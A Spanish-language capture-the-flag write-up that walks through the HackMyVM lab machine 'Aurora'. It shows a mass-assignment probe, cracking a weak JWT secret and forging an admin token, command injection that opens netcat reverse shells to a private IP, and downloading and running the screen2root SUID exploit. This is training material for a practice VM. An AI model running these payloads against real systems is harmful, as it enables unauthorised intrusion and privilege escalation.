cd ~/blog

~/writeups/hmv/035-aurora.md

035 - Aurora

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Mass Assignment mediante el campo role durante el registroWeak JWT Secret con falsificación de un token administrativoOS Command Injection en el endpoint executeCommand Substitution Injection en un script Python ejecutable con sudoSUID Binary Abuse mediante screen
hackmyvm.eu/machines/machine.php?vm=Aurora

~2 min de lectura


Enumeración de servicios

Comenzamos con un escaneo de puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.31
❯ nmap -sCV -p22,3000 -oN 02-targeted.txt 192.168.1.31
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-03 22:49 -03
Nmap scan report for 192.168.1.31
Host is up (0.00032s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 db:f9:46:e5:20:81:6c:ee:c7:25:08:ab:22:51:36:6c (RSA)
|   256 33:c0:95:64:29:47:23:dd:86:4e:e6:b8:07:33:67:ad (ECDSA)
|_  256 be:aa:6d:42:43:dd:7d:d4:0e:0d:74:78:c1:89:a1:36 (ED25519)
3000/tcp open  http    Node.js Express framework
|_http-title: Error
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.54 seconds

Enumeramos la API (con peticiones POST):

❯ gobuster dir -u http://192.168.1.31:3000/ -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -m POST -r
...
/login                (Status: 401) [Size: 22]
/register             (Status: 400) [Size: 29]
/Login                (Status: 401) [Size: 22]
/Register             (Status: 400) [Size: 29]
/execute              (Status: 401) [Size: 12]
/LogIn                (Status: 401) [Size: 22]
/LOGIN                (Status: 401) [Size: 22]
...

Registro, JWT débil y acceso administrativo

Fuzzeamos los campos JSON de /register y vemos que acepta un atributo role, lo que indica Mass Assignment. El servidor enlaza propiedades aportadas por el cliente con el modelo de usuario sin aplicar una lista explícita de campos permitidos. Que admin devuelva 401 no concede todavía privilegios, pero confirma que role participa en la lógica de autorización:

❯ ffuf -u http://192.168.1.31:3000/register -X POST -H "Content-Type: application/json" -d '{"role":"FUZZ"}' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/api/objects-lowercase.txt
...
admin                   [Status: 401, Size: 16, Words: 3, Lines: 1, Duration: 31ms]
user                    [Status: 500, Size: 32, Words: 5, Lines: 1, Duration: 52ms]
...

Registramos un usuario y obtenemos un JWT al iniciar sesión:

❯ curl -X POST http://192.168.1.31:3000/register -H "Content-Type: application/json" -d '{"role":"user"}'
Column 'username' cannot be null

❯ curl -X POST http://192.168.1.31:3000/register -H "Content-Type: application/json" -d '{"username":"admin","role":"user"}'
Username already exists

❯ curl -X POST http://192.168.1.31:3000/register -H "Content-Type: application/json" -d '{"username":"pwned","password":"1234","role":"user"}'
Registration OK

❯ curl -X POST http://192.168.1.31:3000/login -H "Content-Type: application/json" -d '{"username":"pwned","password":"1234","role":"user"}'
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InB3bmVkIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MDk1MTk5MzR9.qYFPMbLujQYh1d24oYjTwmwwYPXM_jJdAdSDCq6GPmI"}

El JWT usa HS256, un algoritmo simétrico: el servidor firma y verifica con el mismo secreto. El contenido del token puede leerse sin conocer esa clave, pero modificar role invalida la firma. Como existe un Weak JWT Secret, probamos candidatos fuera de línea con John hasta recuperar la clave de firma:

❯ john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt jwt_hash
...
nopassword       (?)
...

Con el secreto nopassword generamos en jwt.io un token con role: admin. La aplicación acepta el token porque la nueva firma es criptográficamente válida, aunque el servidor nunca haya asignado ese rol a nuestra cuenta:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzA5NTE5OTM0fQ.47U7LpOez6J-dRTZPlGWAcz3ZwUTj0K6lAqQFthPK9M

// renderizando diagrama…

Fuzzeamos el campo del endpoint /execute y damos con command:

❯ ffuf -u http://192.168.1.31:3000/execute -X POST -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzA5NTE5OTM0fQ.47U7LpOez6J-dRTZPlGWAcz3ZwUTj0K6lAqQFthPK9M" -d '{"FUZZ":"id"}' -w ~/Documentos/wordlists/rockyou.txt -fs 913
...
command                 [Status: 200, Size: 54, Words: 3, Lines: 2, Duration: 134ms]
...

Ejecución remota mediante OS Command Injection

El endpoint entrega el valor de command a un intérprete del sistema, por lo que presenta una OS Command Injection. El JWT falsificado supera el control de acceso, pero la ejecución ocurre por una segunda debilidad independiente. Confirmamos RCE con id y después lanzamos una reverse shell:

❯ curl -X POST http://192.168.1.31:3000/execute -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzA5NTE5OTM0fQ.47U7LpOez6J-dRTZPlGWAcz3ZwUTj0K6lAqQFthPK9M" -d '{"command":"id"}'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

❯ curl -X POST http://192.168.1.31:3000/execute -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzA5NTE5OTM0fQ.47U7LpOez6J-dRTZPlGWAcz3ZwUTj0K6lAqQFthPK9M" -d '{"command":"nc 192.168.1.10 1234 -e /bin/bash"}'

Movimiento lateral a doro

Para movernos al usuario doro, revisamos sudo -l:

www-data@aurora:/home/doro$ sudo -l
Matching Defaults entries for www-data on aurora:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on aurora:
    (doro) NOPASSWD: /usr/bin/python3 /home/doro/tools.py *

El script tools.py sanitiza algunos símbolos, pero construye una orden de shell y conserva las comillas invertidas. En la shell, `orden` realiza Command Substitution: ejecuta orden y sustituye la expresión por su salida antes de procesar la orden exterior. Como Python corre mediante sudo -u doro, el proceso creado hereda la identidad de doro. Inyectamos una reverse shell por esa vía:

www-data@aurora:/tmp$ sudo -u doro python3 /home/doro/tools.py --ping
Enter an IP address: `nc 192.168.1.10 4321 -e /bin/bash`

Escalada de privilegios

Obtenemos una shell como doro y la primera flag. Para escalar, buscamos binarios SUID:

doro@aurora:~$ find / -perm -4000 2>/dev/null
...
/usr/bin/screen
...

screen con SUID permite un SUID Binary Abuse. El exploit screen2root abusa de la capacidad del binario privilegiado para crear o cargar artefactos controlados y ejecutar código con el EUID de su propietario:

doro@aurora:/tmp$ wget https://raw.githubusercontent.com/XiphosResearch/exploits/master/screen2root/screenroot.sh
doro@aurora:/tmp$ chmod +x screenroot.sh
doro@aurora:/tmp$ ./screenroot.sh
...
[+] done!
...

Obtenemos una shell de root y capturamos la flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados